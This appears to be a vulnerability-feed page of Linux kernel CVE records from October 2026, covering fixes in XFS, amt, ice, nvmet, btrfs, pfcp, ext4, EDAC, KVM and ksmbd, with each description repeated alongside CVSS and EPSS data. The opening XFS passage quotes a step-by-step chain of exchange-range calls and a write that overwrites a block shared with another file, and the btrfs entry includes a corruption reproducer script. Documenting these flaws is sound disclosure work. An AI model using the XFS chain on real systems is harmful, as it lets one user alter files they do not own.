>                              ^^^^^^^^^^^ still owned, now past the size
>	donor1 size 12288 -> [202]
>
> file1 says it is one block long while it still owns three. Nothing was
> unmapped. file2_offset is block 2, so this exchange cannot clear a flag.
>
> 3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096.
> By i_disk_size this is two one-block files exchanging everything, so
> xmi_can_exchange_reflink_flags() agrees and the flag is cleared:
>
>	file1 size 4096   -> [400] [100] [300] reflink flag CLEARED
>	donor2 size 4096  -> [200]
>
> Block 100 is still shared with peer.
>
> 4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100.
> xfs_is_cow_inode(file1) is false, so no CoW:
>
>	peer size 4096 -> [100] same block, new contents
>
> Block 100 is the only one that matters here. PoC below, it reads a file
> called peer in the current directory. The filesystem needs reflink and
> exchange-range, which mkfs.xfs 7.x turns on by default.

So yes, TO_EOF is screwing up the file size even if it's actually
exchanging the data block correctly.  The following is the intended
behavior of XFS_EXCHANGE_RANGE_TO_EOF, as described by its manpage:

"Ignore the length parameter.  All bytes in file1_fd from file1_offset
 to EOF are moved to file2_fd, and file2's size is set to
 (file2_offset+(file1_length-file1_offset)).  Meanwhile, all bytes in
 file2 from file2_offset to EOF are moved to file1 and file1's size is
 set to (file1_offset+(file2_length-file2_offset))."

In other words, if we only exchange a portion of the file data, then we
should only exchange the portion of the file size that relates to the
exchanged data.  Unfortunately, the code swaps the ondisk file size and
the incore file sizes, which is incorrect if the caller passes in a
nonzero offset.

Having confused the file sizes, the PoC uses a second exchange-range
call on what looks like a non-reflinked single-block file.  Because the
file size is set incorrectly, exchange-range thinks it's exchanging the
full contents of two files and clears the reflink flag on the broken
file.  That enables an extending write of the broken file to rewrite the
shared block that's just past EOF.  This has become known colloquially
as refluxfs.

Once the file sizes are set correctly, the second exchange-range no
longer thinks that it's doing a full-contents swap, so it won't clear
the reflink flag on either of its file arguments.

Norbert followed up to an earlier version of this patch with a second
complaint about us not handling the i_disk_size state correctly:

> The offsets are bounded against the incore i_size but subtracted from
>
---truncated---

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: amt: send the relay's General Query directly from the receive path
https://kevwire.com/record/CVE-2026-98968
Linux kernel: amt: send the relay's General Query directly from the receive path (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

amt: send the relay's General Query directly from the receive path

An skb queued in a qdisc can outlive the tunnel it references
through a raw pointer in skb->cb. For example, with igmp_qrv set
to 1 on the relay a tunnel lives for 135s, so a netem delay of
180s on the amt device outlives it; when the tunnel expires and is
freed, the subsequent dequeue triggers a use-after-free in
amt_dev_xmit().

  BUG: KASAN: slab-use-after-free in amt_dev_xmit+0x2763/0x2e20
  Call Trace:
   amt_dev_xmit+0x2763/0x2e20 [drivers/net/amt.c:1262]
   dev_hard_start_xmit+0x22f/0x620
   sch_direct_xmit+0x12e/0xac0
   netem_dequeue+0x333/0xc50
   net_tx_action+0x35c/0xa60

amt_send_igmp_gq() and amt_send_mld_gq() are only called from
amt_request_handler(), inside the rcu_read_lock_bh() section of
amt_rcv(). amt_request_handler() already has the tunnel the query is
for: it found or created it inside that section. Queuing the query with
dev_queue_xmit() only leads back into amt_dev_xmit(), which strips the
Ethernet header and calls amt_send_membership_query() for that tunnel.

Make that call directly from the two senders instead, the same way
amt_send_advertisement() transmits from the receive path. The query
never waits in a qdisc, the tunnel is only dereferenced inside the
RCU section that found or created it, and nothing is stored in
skb->cb, so no lookup or refcount is needed. Remove the query branch
of amt_dev_xmit(), amt_skb_cb() and struct amt_skb_cb, which have no
users left.

Behaviour changes:
 - The relay's own General Queries no longer pass through the amt
   device's egress path: its qdisc, tc egress (clsact/tcx), the
   netfilter egress hook and packet taps. They are still visible as
   UDP on the underlay.
 - A query that is sent successfully is no longer counted as
   tx_dropped. The old query branch left through the unlock label,
   which counted every sent query as dropped.
 - A query that reaches amt_dev_xmit() on a relay from elsewhere,
   such as a userspace querier, is now dropped at the IGMP/MLD type
   switch. Before, it trusted whatever skb->cb held, and a NULL
   tunnel hit the WARN_ON(1).
CVSS 8.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98968).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98968&date=2026-10-25).
Sources:
NVD CVE-2026-98968: https://nvd.nist.gov/vuln/detail/CVE-2026-98968
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98968&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

amt: send the relay's General Query directly from the receive path

An skb queued in a qdisc can outlive the tunnel it references
through a raw pointer in skb->cb. For example, with igmp_qrv set
to 1 on the relay a tunnel lives for 135s, so a netem delay of
180s on the amt device outlives it; when the tunnel expires and is
freed, the subsequent dequeue triggers a use-after-free in
amt_dev_xmit().

  BUG: KASAN: slab-use-after-free in amt_dev_xmit+0x2763/0x2e20
  Call Trace:
   amt_dev_xmit+0x2763/0x2e20 [drivers/net/amt.c:1262]
   dev_hard_start_xmit+0x22f/0x620
   sch_direct_xmit+0x12e/0xac0
   netem_dequeue+0x333/0xc50
   net_tx_action+0x35c/0xa60

amt_send_igmp_gq() and amt_send_mld_gq() are only called from
amt_request_handler(), inside the rcu_read_lock_bh() section of
amt_rcv(). amt_request_handler() already has the tunnel the query is
for: it found or created it inside that section. Queuing the query with
dev_queue_xmit() only leads back into amt_dev_xmit(), which strips the
Ethernet header and calls amt_send_membership_query() for that tunnel.

Make that call directly from the two senders instead, the same way
amt_send_advertisement() transmits from the receive path. The query
never waits in a qdisc, the tunnel is only dereferenced inside the
RCU section that found or created it, and nothing is stored in
skb->cb, so no lookup or refcount is needed. Remove the query branch
of amt_dev_xmit(), amt_skb_cb() and struct amt_skb_cb, which have no
users left.

Behaviour changes:
 - The relay's own General Queries no longer pass through the amt
   device's egress path: its qdisc, tc egress (clsact/tcx), the
   netfilter egress hook and packet taps. They are still visible as
   UDP on the underlay.
 - A query that is sent successfully is no longer counted as
   tx_dropped. The old query branch left through the unlock label,
   which counted every sent query as dropped.
 - A query that reaches amt_dev_xmit() on a relay from elsewhere,
   such as a userspace querier, is now dropped at the IGMP/MLD type
   switch. Before, it trusted whatever skb->cb held, and a NULL
   tunnel hit the WARN_ON(1).

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ice: Restore Ordered MMIO Writes for Tx Doorbells
https://kevwire.com/record/CVE-2026-98965
Linux kernel: ice: Restore Ordered MMIO Writes for Tx Doorbells (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ice: Restore Ordered MMIO Writes for Tx Doorbells

The DQL accounting state which tracks the number of bytes queued for the
NIC to transmit, namely dql->num_queued, is updated by the ICE driver
when it invokes __netdev_tx_sent_queue(). Subsequently the driver
updates the hardware queue tail allowing the NIC to begin processing the
work queue. The queue accounting update should be ordered before the NIC
begins transmitting descriptors.

The transmit path currently updates the hardware doorbell using
writel_relaxed(), which (on arm64) does not provide the same ordering
guarantees between writes to normal memory and writes to MMIO registers
that writel() does. This introduces a potential race where the NIC
begins transmitting descriptors before the dql->num_queued update is
globally visible. If the NIC finishes before the update is observed by
dql_completed(), it detects an invalid state where more bytes have been
completed than have been queued. When this happens the following BUG_ON
is triggered.

  BUG_ON(count > num_queued - dql->num_completed);

This has been observed and manifests as the following crash (note that
the trace has been trimmed) in an environment with sustained network
load that uses an Intel Corporation Ethernet Controller E810-XXV for SFP
(rev 02) on an arm64 machine. Replacing writel_relaxed() with writel()
in a test kernel eliminated the crash in the user's workload, which
previously reproduced the issue reliably.

  kernel BUG at lib/dynamic_queue_limits.c:99

Internal error: Oops - BUG: 00000000f2000800 [#1] SMP
pc : dql_completed+0x268/0x2a0
lr : ice_clean_tx_irq+0x1d4/0x620 [ice]
Call trace:
dql_completed+0x268/0x2a0 (P)
ice_napi_poll+0x94/0x520 [ice]
__napi_poll+0x48/0x3f0
net_rx_action+0x194/0x420

This restores the behaviour prior to commit ccde82e90946 ("ice: add E830
Earliest TxTime First Offload support"), which changed the notification
mechanism from writel() to writel_relaxed().
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98965).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98965&date=2026-10-25).
Sources:
NVD CVE-2026-98965: https://nvd.nist.gov/vuln/detail/CVE-2026-98965
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98965&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ice: Restore Ordered MMIO Writes for Tx Doorbells

The DQL accounting state which tracks the number of bytes queued for the
NIC to transmit, namely dql->num_queued, is updated by the ICE driver
when it invokes __netdev_tx_sent_queue(). Subsequently the driver
updates the hardware queue tail allowing the NIC to begin processing the
work queue. The queue accounting update should be ordered before the NIC
begins transmitting descriptors.

The transmit path currently updates the hardware doorbell using
writel_relaxed(), which (on arm64) does not provide the same ordering
guarantees between writes to normal memory and writes to MMIO registers
that writel() does. This introduces a potential race where the NIC
begins transmitting descriptors before the dql->num_queued update is
globally visible. If the NIC finishes before the update is observed by
dql_completed(), it detects an invalid state where more bytes have been
completed than have been queued. When this happens the following BUG_ON
is triggered.

  BUG_ON(count > num_queued - dql->num_completed);

This has been observed and manifests as the following crash (note that
the trace has been trimmed) in an environment with sustained network
load that uses an Intel Corporation Ethernet Controller E810-XXV for SFP
(rev 02) on an arm64 machine. Replacing writel_relaxed() with writel()
in a test kernel eliminated the crash in the user's workload, which
previously reproduced the issue reliably.

  kernel BUG at lib/dynamic_queue_limits.c:99

Internal error: Oops - BUG: 00000000f2000800 [#1] SMP
pc : dql_completed+0x268/0x2a0
lr : ice_clean_tx_irq+0x1d4/0x620 [ice]
Call trace:
dql_completed+0x268/0x2a0 (P)
ice_napi_poll+0x94/0x520 [ice]
__napi_poll+0x48/0x3f0
net_rx_action+0x194/0x420

This restores the behaviour prior to commit ccde82e90946 ("ice: add E830
Earliest TxTime First Offload support"), which changed the notification
mechanism from writel() to writel_relaxed().

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: nvmet: use the local P2P device on metadata allocation failure
https://kevwire.com/record/CVE-2026-98964
Linux kernel: nvmet: use the local P2P device on metadata allocation failure (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

nvmet: use the local P2P device on metadata allocation failure

nvmet_req_alloc_p2pmem_sgls() assigns req->p2p_dev only after the data
and metadata SGL allocations succeed. If the data allocation succeeds
but the metadata allocation fails, out_free_sg passes req->p2p_dev to
pci_p2pmem_free_sgl() before that assignment has taken place.

Pass the local p2p_dev argument instead, so cleanup uses the same PCI
device as the successful data allocation.
CVSS 7.5 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98964).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98964&date=2026-10-25).
Sources:
NVD CVE-2026-98964: https://nvd.nist.gov/vuln/detail/CVE-2026-98964
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98964&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

nvmet: use the local P2P device on metadata allocation failure

nvmet_req_alloc_p2pmem_sgls() assigns req->p2p_dev only after the data
and metadata SGL allocations succeed. If the data allocation succeeds
but the metadata allocation fails, out_free_sg passes req->p2p_dev to
pci_p2pmem_free_sgl() before that assignment has taken place.

Pass the local p2p_dev argument instead, so cleanup uses the same PCI
device as the successful data allocation.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: btrfs: fix xattr replace when multiple xattrs are packed in the same item
https://kevwire.com/record/CVE-2026-98959
Linux kernel: btrfs: fix xattr replace when multiple xattrs are packed in the same item (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix xattr replace when multiple xattrs are packed in the same item

If we have a btrfs_dir_item item that packs multiple xattrs and then we
replace the value of one of them (with the setxattr(2) family of syscalls)
with another value of a different size, we end up not having a fully
initialized btrfs_dir_item, resulting in a corruption that the tree
checker will detect at extent buffer writeback time.

This is because in btrfs_setxattr() when we find a btrfs_dir_item with
multiple xattrs (due to the crc32c hash of their name being the same)
we delete one of the xattr items (btrfs_dir_item) and then insert a new
one, but the deletion and insertion results in shifting existing data in
the leaf and therefore when the new value of a xattr has a different size,
the new btrfs_dir_item is placed in a leaf section that was not
initialized and we only copy the value's data and set the value's length
in the new btrfs_dir_item, without setting the name, the name's length,
the key (which must be all zeroes for xattrs), flags (BTRFS_FT_XATTR) and
transaction ID.

The following script reproduces the issue:

  $ cat test.sh
  #!/bin/bash

  DEV=/dev/sdi
  MNT=/mnt/sdi

  mkfs.btrfs -f $DEV
  mount $DEV $MNT

  touch $MNT/testfile

  # Add two xattrs that, on btrfs, have the same hash (crc32c) for their
  # name and therefore are packed into the same btrfs_dir_item.
  setfattr -n user.foobar -v 123 $MNT/testfile
  setfattr -n user.WvG1c1Td -v qwerty $MNT/testfile

  # Verify the xattrs are present.
  echo "xattrs before:"
  getfattr --absolute-names --dump $MNT/testfile

  # Now replace the value of the foobar xattr with a significantly larger
  # value.
  setfattr -n user.foobar -v abcdefghijklmnopqrstuvwxyz $MNT/testfile

  # Check the xattrs have the expected values.
  echo "xattrs after:"
  getfattr --absolute-names --dump $MNT/testfile

  umount $MNT

Running it:

  $ ./test.sh
  (...)
  xattrs before:
  # file: /mnt/sdi/testfile
  user.WvG1c1Td="qwerty"
  user.foobar="123"

  xattrs after:
  # file: /mnt/sdi/testfile
  user.WvG1c1Td="qwerty"

So the "user.foobar" xattr is missing and there was a t
CVSS 9.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98959).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98959&date=2026-10-25).
Sources:
NVD CVE-2026-98959: https://nvd.nist.gov/vuln/detail/CVE-2026-98959
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98959&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

btrfs: fix xattr replace when multiple xattrs are packed in the same item

If we have a btrfs_dir_item item that packs multiple xattrs and then we
replace the value of one of them (with the setxattr(2) family of syscalls)
with another value of a different size, we end up not having a fully
initialized btrfs_dir_item, resulting in a corruption that the tree
checker will detect at extent buffer writeback time.

This is because in btrfs_setxattr() when we find a btrfs_dir_item with
multiple xattrs (due to the crc32c hash of their name being the same)
we delete one of the xattr items (btrfs_dir_item) and then insert a new
one, but the deletion and insertion results in shifting existing data in
the leaf and therefore when the new value of a xattr has a different size,
the new btrfs_dir_item is placed in a leaf section that was not
initialized and we only copy the value's data and set the value's length
in the new btrfs_dir_item, without setting the name, the name's length,
the key (which must be all zeroes for xattrs), flags (BTRFS_FT_XATTR) and
transaction ID.

The following script reproduces the issue:

  $ cat test.sh
  #!/bin/bash

  DEV=/dev/sdi
  MNT=/mnt/sdi

  mkfs.btrfs -f $DEV
  mount $DEV $MNT

  touch $MNT/testfile

  # Add two xattrs that, on btrfs, have the same hash (crc32c) for their
  # name and therefore are packed into the same btrfs_dir_item.
  setfattr -n user.foobar -v 123 $MNT/testfile
  setfattr -n user.WvG1c1Td -v qwerty $MNT/testfile

  # Verify the xattrs are present.
  echo "xattrs before:"
  getfattr --absolute-names --dump $MNT/testfile

  # Now replace the value of the foobar xattr with a significantly larger
  # value.
  setfattr -n user.foobar -v abcdefghijklmnopqrstuvwxyz $MNT/testfile

  # Check the xattrs have the expected values.
  echo "xattrs after:"
  getfattr --absolute-names --dump $MNT/testfile

  umount $MNT

Running it:

  $ ./test.sh
  (...)
  xattrs before:
  # file: /mnt/sdi/testfile
  user.WvG1c1Td="qwerty"
  user.foobar="123"

  xattrs after:
  # file: /mnt/sdi/testfile
  user.WvG1c1Td="qwerty"

So the "user.foobar" xattr is missing and there was a transaction abort
when unmounting the fs with the following traces in dmesg:

  $ dmesg
  [869800.159271] BTRFS warning (device sdi): access to eb bytenr 30474240 len 16384 out of range start 16015 len 25964
  [869800.159293] ------------[ cut here ]------------
  [869800.159296] WARNING: fs/btrfs/extent_io.c:4408 at report_eb_range+0x44/0x60 [btrfs], CPU#8: getfattr/2605179
  [869800.168961] Modules linked in: btrfs dm_thin_pool (...)
  [869800.190527] CPU: 8 UID: 0 PID: 2605179 Comm: getfattr Tainted: G        W           7.3.0-rc3-btrfs-next-244+ #1 PREEMPT(full)
  [869800.193726] Tainted: [W]=WARN
  [869800.194502] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.2-0-gea1b7a073390-prebuilt.qemu.org 04/01/2014
  [869800.197576] RIP: 0010:report_eb_range+0x44/0x60 [btrfs]
  [869800.198985] Code: 48 8b 7b 18 (...)
  [869800.203531] RSP: 0018:ffffce4541937d58 EFLAGS: 00010246
  [869800.204609] RAX: 0000000000000000 RBX: ffff8dde054b8738 RCX: 0000000000000000
  [869800.206137] RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffffffffc04c92a0
  [869800.207645] RBP: 0000000000003e8f R08: 0000000000000000 R09: 3fffffffffefffff
  [869800.226175] R10: ffffce4541937a88 R11: 0000000000000003 R12: 000000000000656c
  [869800.227594] R13: ffff8dde14be800f R14: 000000000000656c R15: 0000000000000069
  [869800.229097] FS:  00007f59023bb780(0000) GS:ffff8de5788ed000(0000) knlGS:0000000000000000
  [869800.231137] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
  [869800.232321] CR2: 0000558dc45e6a78 CR3: 0000000765b16004 CR4: 0000000000370ef0
  [869800.233783] Call Trace:
  [869800.234330]  <TASK>
  [869800.234791]  read_extent_buffer+0x4d/0x100 [btrfs]
  [869800.235898]  btrfs_listxattr+0x199/0x240 [btrfs]
  [869800.236912]  vfs_listxattr+0x51/0
---truncated---

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: pfcp: make sure the SEID is linear before reading it
https://kevwire.com/record/CVE-2026-98952
Linux kernel: pfcp: make sure the SEID is linear before reading it (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

pfcp: make sure the SEID is linear before reading it

pfcp_encap_recv() only makes sure that the UDP header and the 4 byte
PFCP header are in the linear area. When the S flag is set,
pfcp_session_recv() then reads the 8 byte SEID that follows, which is
not covered by the pskb_may_pull() check.

A short PFCP packet with the S flag set, or one whose session header
lies in a fragment, therefore makes pfcp_session_recv() read beyond the
end of the packet data, and whatever it finds there is stored in the
tunnel metadata that flower later classifies on.

Pull up to the end of the SEID before reading it, and drop packets
that are too short to contain it. Reload the header pointer afterwards
since pskb_may_pull() may reallocate the skb head.

Use offsetofend() rather than sizeof(struct pfcphdr_session): the
structure is not packed, so its size is 16 bytes because of the
alignment of the __be64 member, while the header on the wire is only 12
bytes, and valid session messages would be dropped.
CVSS 7.3 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98952).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98952&date=2026-10-25).
Sources:
NVD CVE-2026-98952: https://nvd.nist.gov/vuln/detail/CVE-2026-98952
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98952&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

pfcp: make sure the SEID is linear before reading it

pfcp_encap_recv() only makes sure that the UDP header and the 4 byte
PFCP header are in the linear area. When the S flag is set,
pfcp_session_recv() then reads the 8 byte SEID that follows, which is
not covered by the pskb_may_pull() check.

A short PFCP packet with the S flag set, or one whose session header
lies in a fragment, therefore makes pfcp_session_recv() read beyond the
end of the packet data, and whatever it finds there is stored in the
tunnel metadata that flower later classifies on.

Pull up to the end of the SEID before reading it, and drop packets
that are too short to contain it. Reload the header pointer afterwards
since pskb_may_pull() may reallocate the skb head.

Use offsetofend() rather than sizeof(struct pfcphdr_session): the
structure is not packed, so its size is 16 bytes because of the
alignment of the __be64 member, while the header on the wire is only 12
bytes, and valid session messages would be dropped.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ext4: don't enable large folios on encrypted inodes
https://kevwire.com/record/CVE-2026-98941
Linux kernel: ext4: don't enable large folios on encrypted inodes (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ext4: don't enable large folios on encrypted inodes

Commit 709f0f1f1bf5 ("ext4: add checks for large folio
incompatibilities when BS > PS") disables large folios at mount time
if the "encrypt" feature is set. However, enabling that feature on a
mounted filesystem circumvents that check, and writing encrypted data
results in a crash:

  BUG: kernel NULL pointer dereference, address: 0000000000000028
  Workqueue: ext4-rsv-conversion ext4_end_io_rsv_work
  RIP: 0010:ext4_finish_bio+0xf7/0x3e0
  Call Trace:
   ext4_release_io_end+0x51/0x110
   ext4_end_io_end+0x4c/0xe0
   ext4_end_io_rsv_work+0xb3/0x100

Fix this by disabling large folios on encrypted inodes, as is
already done for inodes that use data journaling.

This affects all kernels between v6.19 and v7.2, but it is not needed
in v7.3, where the code was significantly refactored.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98941).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98941&date=2026-10-25).
Sources:
NVD CVE-2026-98941: https://nvd.nist.gov/vuln/detail/CVE-2026-98941
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98941&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

ext4: don't enable large folios on encrypted inodes

Commit 709f0f1f1bf5 ("ext4: add checks for large folio
incompatibilities when BS > PS") disables large folios at mount time
if the "encrypt" feature is set. However, enabling that feature on a
mounted filesystem circumvents that check, and writing encrypted data
results in a crash:

  BUG: kernel NULL pointer dereference, address: 0000000000000028
  Workqueue: ext4-rsv-conversion ext4_end_io_rsv_work
  RIP: 0010:ext4_finish_bio+0xf7/0x3e0
  Call Trace:
   ext4_release_io_end+0x51/0x110
   ext4_end_io_end+0x4c/0xe0
   ext4_end_io_rsv_work+0xb3/0x100

Fix this by disabling large folios on encrypted inodes, as is
already done for inodes that use data journaling.

This affects all kernels between v6.19 and v7.2, but it is not needed
in v7.3, where the code was significantly refactored.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: EDAC/altera: Fix use-after-free in error paths
https://kevwire.com/record/CVE-2026-98932
Linux kernel: EDAC/altera: Fix use-after-free in error paths (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

EDAC/altera: Fix use-after-free in error paths

In both altr_edac_a10_device_add() and altr_portb_setup(), the error path
freed the dci structure before releasing the devres group. Since the managed
single and double bit IRQ handlers use altdev(dci->pvt_info) as their data, an
IRQ firing between freeing dci and unregistering the IRQs could dereference
the freed memory.

Release the devres group first so the managed IRQs are unregistered
before the dci structure is freed.
CVSS 7.4 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98932).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98932&date=2026-10-25).
Sources:
NVD CVE-2026-98932: https://nvd.nist.gov/vuln/detail/CVE-2026-98932
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98932&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

EDAC/altera: Fix use-after-free in error paths

In both altr_edac_a10_device_add() and altr_portb_setup(), the error path
freed the dci structure before releasing the devres group. Since the managed
single and double bit IRQ handlers use altdev(dci->pvt_info) as their data, an
IRQ firing between freeing dci and unregistering the IRQs could dereference
the freed memory.

Release the devres group first so the managed IRQs are unregistered
before the dci structure is freed.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: KVM: arm64: nv: Fix life cycle of the nested_mmus array
https://kevwire.com/record/CVE-2026-98927
Linux kernel: KVM: arm64: nv: Fix life cycle of the nested_mmus array (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: nv: Fix life cycle of the nested_mmus array

The nested_mmus array holds the shadow page tables that are used when
a guest is running a nested context. These structures are allocated on
VCPU_INIT for whole guest, which implies that they may have to be
relocated as the array grows.

Should a VCPU_INIT occur whilst a vcpu is actively running an L2 and
that the allocation requires relocation, that vcpu will still be
running with a pointer to the previous structure, which will have been
freed.

Fix this by turning the array of structures to an array of pointers,
which is now allocated at VM creation, sized to the absolute maximum
that KVM can handle.

In turn, each VCPU_INIT contributes S2_MMU_PER_VCPU to the pool. No
reallocation is ever performed, and the life cycle of each object is
much clearer:

- the nested_mmus array is allocated in kvm_init_nested(), and freed
  in kvm_arch_destroy_vm()

- s2_mmu structures are allocated in kvm_vcpu_init_nested(), and freed
  on kvm_arch_flush_shadow_all()

Finally, the freeing of vcpu->arch.vncr_array is made consistent
rather than being done on some failure paths, but not others.
CVSS 7.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-98927).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-98927&date=2026-10-25).
Sources:
NVD CVE-2026-98927: https://nvd.nist.gov/vuln/detail/CVE-2026-98927
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-98927&date=2026-10-25
In the Linux kernel, the following vulnerability has been resolved:

KVM: arm64: nv: Fix life cycle of the nested_mmus array

The nested_mmus array holds the shadow page tables that are used when
a guest is running a nested context. These structures are allocated on
VCPU_INIT for whole guest, which implies that they may have to be
relocated as the array grows.

Should a VCPU_INIT occur whilst a vcpu is actively running an L2 and
that the allocation requires relocation, that vcpu will still be
running with a pointer to the previous structure, which will have been
freed.

Fix this by turning the array of structures to an array of pointers,
which is now allocated at VM creation, sized to the absolute maximum
that KVM can handle.

In turn, each VCPU_INIT contributes S2_MMU_PER_VCPU to the pool. No
reallocation is ever performed, and the life cycle of each object is
much clearer:

- the nested_mmus array is allocated in kvm_init_nested(), and freed
  in kvm_arch_destroy_vm()

- s2_mmu structures are allocated in kvm_vcpu_init_nested(), and freed
  on kvm_arch_flush_shadow_all()

Finally, the freeing of vcpu->arch.vncr_array is made consistent
rather than being done on some failure paths, but not others.

NVD status: Received. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Linux kernel: ksmbd: remove stale channels from all sessions on teardown
https://kevwire.com/record/CVE-2026-98870
Linux kernel: ksmbd: remove stale channels from all sessions on teardown (Oct 23, 2026).
In the Linux kernel, the following vulnerability has been resolved:

ksmbd: remove stale channels from all sessions on teardown

ksmbd_sessions_deregister() removes a connection's channels from other
sessions' channel lists only while conn->binding is still set:

	if (conn->binding) {
		hash_for_each_safe(sessions_table, ...)
			ksmbd_chann_del(conn, sess);
	}

conn->binding is a transient flag: it is cleared once a binding
SESSION_SETUP completes, and also by a subsequent non-binding
